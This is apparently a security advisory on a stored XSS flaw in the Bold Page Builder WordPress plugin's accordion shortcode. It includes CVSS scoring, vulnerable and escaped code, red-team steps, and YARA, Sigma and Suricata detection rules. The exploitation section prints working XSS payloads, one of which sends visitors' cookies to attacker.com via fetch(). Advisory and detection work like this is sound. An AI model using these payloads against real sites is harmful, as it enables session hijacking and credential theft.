CVE-2025-15267

Executive Summary

CVE-2025-15267 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 5.5.7. The flaw resides in the bt_bb_accordion_item shortcode, where user-supplied attributes are insufficiently sanitized and escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a third-party component within the WordPress supply chain, and the lack of a patch increases the risk of supply chain attacks through compromised plugin updates or manual installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction. An attacker with minimal access can persistently compromise pages viewed by other users, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the bt_bb_accordion_item shortcode of the Bold Page Builder plugin. The shortcode processes user-supplied attributes (e.g., title, icon, color) without proper sanitization or output escaping. When the shortcode is rendered, the unsanitized attributes are directly embedded into the HTML output, allowing an attacker to inject JavaScript code.

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a post/page.
2. The attacker inserts the [bt_bb_accordion_item] shortcode with a malicious attribute, e.g., title="<script>alert('XSS')</script>".
3. The plugin processes the shortcode and outputs the attribute without escaping, resulting in the script being stored in the database.
4. When any user (including administrators) views the page, the script executes in their browser.

Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes in the shortcode handler.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 5.5.7):

// In shortcode handler, attributes are directly echoed
echo '<div class="bt_bb_accordion_item" title="' . $atts['title'] . '">';

Patched Code (hypothetical fix):

// Properly escape the attribute
echo '<div class="bt_bb_accordion_item" title="' . esc_attr($atts['title']) . '">';

The fix involves using WordPress's esc_attr() function to escape HTML attributes, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Bold Page Builder <= 5.5.7 installed and activated.
• User account with contributor-level access or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Switch to Text/Code editor mode.
4. Insert the following shortcode:

   [bt_bb_accordion_item title="<script>alert(document.cookie)</script>"]
   

5. Publish or update the post.
6. When any user visits the post, the JavaScript executes.

Advanced Payload:

[bt_bb_accordion_item title="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing the bt_bb_accordion_item shortcode with suspicious attributes.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in shortcode attributes.
• Review user activity logs for unusual shortcode usage by low-privileged users.

Prevention:

• Disable the Bold Page Builder plugin until a patch is applied.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/bold-page-builder/ (presence of vulnerable version)
• Database: Posts/pages containing [bt_bb_accordion_item] with unescaped HTML/JavaScript in attributes.
• Network: Outbound connections to attacker-controlled domains from compromised WordPress instances.
• Logs: HTTP requests to /wp-admin/post.php with shortcode parameters containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2025_15267_Bold_Page_Builder_XSS {
    meta:
        description = "Detects stored XSS in Bold Page Builder bt_bb_accordion_item shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15267"
    strings:
        $shortcode = /\[bt_bb_accordion_item[^\]]*title\s*=\s*["'][^"']*<script[^>]*>/
        $xss_payload = /<script[^>]*>.*<\/script>/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2025-15267 - Stored XSS via Bold Page Builder Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via bt_bb_accordion_item shortcode in WordPress
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'bt_bb_accordion_item'
        http.url|re: 'title\s*=\s*["\'][^"\']*<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15267 - Stored XSS via Bold Page Builder bt_bb_accordion_item"; flow:to_server,established; content:"bt_bb_accordion_item"; http_uri; pcre:"/title\s*=\s*["\'][^"\']*<script/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and clean any posts/pages containing malicious shortcode attributes.
3. Reset passwords for all users who may have been affected.

Long-term Fix:

• Apply the official patch from the vendor when available.
• Implement input validation and output escaping for all shortcode attributes.
• Use WordPress's built-in functions like esc_attr() and wp_kses().

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict contributor-level access to trusted users only.
• Monitor for suspicious shortcode usage via security plugins.

Valters IT